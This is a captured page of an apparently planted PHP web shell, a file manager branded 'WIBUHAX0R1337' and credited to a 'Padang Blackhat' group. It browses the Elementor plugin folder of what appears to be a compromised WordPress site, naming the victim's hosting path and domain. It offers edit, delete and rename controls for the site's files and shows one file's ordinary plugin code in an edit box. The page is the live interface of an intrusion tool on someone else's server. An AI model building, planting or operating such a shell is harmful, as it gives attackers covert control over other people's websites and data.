-
WIBUHAX0R1337
-
/
home
/
coludnqa
/
xtrasolutionsco.com
/
wp-content
/
plugins
/
elementor
/
includes
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
admin-templates
--
NONE
base
--
NONE
controls
--
NONE
editor-templates
--
NONE
elements
--
NONE
interfaces
--
NONE
libraries
--
NONE
managers
--
NONE
settings
--
NONE
template-library
--
NONE
widgets
--
NONE
api.php
8.606KB
Edit File
Delete File
Rename
autoloader.php
9.787KB
Edit File
Delete File
Rename
beta-testers.php
2.987KB
Edit File
Delete File
Rename
compatibility.php
10.958KB
Edit File
Delete File
Rename
conditions.php
2.703KB
Edit File
Delete File
Rename
db.php
15.563KB
Edit File
Delete File
Rename
editor-assets-api.php
1.765KB
Edit File
Delete File
Rename
embed.php
8.476KB
Edit File
Delete File
Rename
fonts.php
62.528KB
Edit File
Delete File
Rename
frontend.php
38.424KB
Edit File
Delete File
Rename
heartbeat.php
2.573KB
Edit File
Delete File
Rename
maintenance-mode.php
11.158KB
Edit File
Delete File
Rename
maintenance.php
2.813KB
Edit File
Delete File
Rename
plugin.php
15.604KB
Edit File
Delete File
Rename
preview.php
7.689KB
Edit File
Delete File
Rename
rollback.php
3.632KB
Edit File
Delete File
Rename
shapes.php
7.812KB
Edit File
Delete File
Rename
stylesheet.php
8.91KB
Edit File
Delete File
Rename
tracker.php
16.999KB
Edit File
Delete File
Rename
user-data.php
3.439KB
Edit File
Delete File
Rename
user.php
11.075KB
Edit File
Delete File
Rename
utils.php
23.921KB
Edit File
Delete File
Rename
<?php namespace Elementor\Includes; class EditorAssetsAPI { protected array $config; const ASSETS_DATA_TRANSIENT_KEY = 'ASSETS_DATA_TRANSIENT_KEY'; const ASSETS_DATA_URL = 'ASSETS_DATA_URL'; const ASSETS_DATA_KEY = 'ASSETS_DATA_KEY'; public function __construct( array $config ) { $this->config = $config; } public function config( $key ): string { return $this->config[ $key ] ?? ''; } public function get_assets_data( $force_request = false ): array { $assets_data = $this->get_transient( $this->config( static::ASSETS_DATA_TRANSIENT_KEY ) ); if ( $force_request || false === $assets_data ) { $assets_data = $this->fetch_data(); $this->set_transient( $this->config( static::ASSETS_DATA_TRANSIENT_KEY ), $assets_data, '+1 hour' ); } return $assets_data; } private function fetch_data(): array { $response = wp_remote_get( $this->config( static::ASSETS_DATA_URL ) ); if ( is_wp_error( $response ) ) { return []; } $data = json_decode( wp_remote_retrieve_body( $response ), true ); if ( empty( $data[ $this->config( static::ASSETS_DATA_KEY ) ] ) || ! is_array( $data[ $this->config( static::ASSETS_DATA_KEY ) ] ) ) { return []; } return $data[ $this->config( static::ASSETS_DATA_KEY ) ]; } private function get_transient( $cache_key ) { $cache = get_option( $cache_key ); if ( empty( $cache['timeout'] ) ) { return false; } if ( current_time( 'timestamp' ) > $cache['timeout'] ) { return false; } return json_decode( $cache['value'], true ); } private function set_transient( $cache_key, $value, $expiration = '+12 hours' ): bool { $data = [ 'timeout' => strtotime( $expiration, current_time( 'timestamp' ) ), 'value' => wp_json_encode( $value ), ]; return update_option( $cache_key, $data, false ); } }
Save!!!
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat